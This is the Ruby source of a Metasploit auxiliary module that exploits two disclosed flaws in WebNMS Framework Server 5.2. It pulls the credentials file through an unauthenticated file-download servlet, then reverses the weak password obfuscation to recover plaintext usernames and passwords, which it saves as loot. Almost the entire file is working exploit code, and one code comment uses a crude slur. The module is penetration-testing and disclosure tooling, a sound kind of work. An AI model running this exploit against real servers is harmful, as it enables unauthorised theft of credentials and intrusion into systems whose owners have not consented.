##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WebNMS Framework Server Credential Disclosure',
      'Description' => %q{
This module abuses two vulnerabilities in WebNMS Framework Server 5.2 to extract
all user credentials. The first vulnerability is a unauthenticated file download
in the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the the passwords in the file are
obfuscated with a very weak algorithm which can be easily reversed.
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
Windows and Linux.
},
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2016-6602' ],
          [ 'CVE', '2016-6603' ],
          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/webnms-5.2-sp1-pwn.txt']
        ],
      'DisclosureDate' => 'Jul 4 2016'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9090]),
        OptString.new('TARGETURI', [ true,  "WebNMS path", '/'])
      ], self.class)
  end


  def run
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
      'method' =>'GET',
      'vars_get' => { 'fileName' => 'conf/securitydbData.xml' }
    })

    if res && res.code == 200 && res.body.to_s.length > 0
      cred_table = Rex::Ui::Text::Table.new(
        'Header'  => 'WebNMS Login Credentials',
        'Indent'  => 1,
        'Columns' =>
          [
            'Username',
            'Password'
          ]
      )
      print_status "#{peer} - Got securitydbData.xml, attempting to extract credentials..."
      res.body.to_s.each_line { |line|
        # we need these checks because username and password might appear in any random position in the line
        if line =~ /username="([\w]*)"/
          username = $1
          if line =~ /password="([\w]*)"/
            password = $1
            plaintext_password = super_retarded_deobfuscation(password)
            cred_table << [ username, plaintext_password ]
            register_creds(username, plaintext_password)
          end
        end
      }
      print_line
      print_line("#{cred_table}")
      loot_name     = 'webnms.creds'
      loot_type     = 'text/csv'
      loot_filename = 'webnms_login_credentials.csv'
      loot_desc     = 'WebNMS Login Credentials'
      p = store_loot(
        loot_name,
        loot_type,
        rhost,
        cred_table.to_csv,
        loot_filename,
        loot_desc)
      print_status "Credentials saved in: #{p}"
      return
    end
  end


  # Returns the plaintext of a string obfuscated with WebNMS's super retarded obfuscation algorithm.
  # I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
  def super_retarded_deobfuscation (ciphertext)
    input = ciphertext
    input = input.gsub("Z","000")

    base = '0'.upto('9').to_a + 'a'.upto('z').to_a + 'A'.upto('G').to_a
    base.push 'I'
    base += 'J'.upto('Y').to_a

    answer = ''
    k = 0
    remainder = 0
    co = input.length / 6

    while k < co
      part = input[(6 * k),6]
      partnum = ''
      startnum = false

      for i in 0...5
        isthere = false
        pos = 0
        until isthere
          if part[i] == base[pos]
            isthere = true
            partnum += pos.to_s
            if pos == 0
              if not startnum
                answer += "0"
              end
            else
              startnum = true
            end
          end
          pos += 1
        end
      end

      isthere = false
      pos = 0
      until isthere
        if part[5] == base[pos]
          isthere = true
          remainder = pos
        end
        pos += 1
      end

      if partnum.to_s == "00000"
        if remainder != 0
          tempo = remainder.to_s
          temp1 = answer[0..(tempo.length)]
          answer = temp1 + tempo
        end
      else
        answer += (partnum.to_i * 60 + remainder).to_s
      end
      k += 1
    end

    if input.length % 6 != 0
      ending = input[(6*k)..(input.length)]
      partnum = ''
      if ending.length > 1
        i = 0
        startnum = false
        for i in 0..(ending.length - 2)
          isthere = false
          pos = 0
          until isthere
            if ending[i] == base[pos]
              isthere = true
              partnum += pos.to_s
              if pos == 0
                if not startnum
                  answer += "0"
                end
              else
                startnum = true
              end
            end
            pos += 1
          end
        end

        isthere = false
        pos = 0
        until isthere
          if ending[i+1] == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += (partnum.to_i * 60 + remainder).to_s
      else
        isthere = false
        pos = 0
        until isthere
          if ending == base[pos]
            isthere = true
            remainder = pos
          end
          pos += 1
        end
        answer += remainder.to_s
      end
    end

    final = ''
    for k in 0..((answer.length / 2) - 1)
      final.insert(0,(answer[2*k,2].to_i + 28).chr)
    end
    final
  end


  def register_creds(username, password)
    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      workspace_id: myworkspace_id,
      private_data: password,
      private_type: :password,
      username: username
    }

    service_data = {
      address: rhost,
      port: rport,
      service_name: 'WebNMS-' + (ssl ? 'HTTPS' : 'HTTP'),
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      workspace_id: myworkspace_id
    }

    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
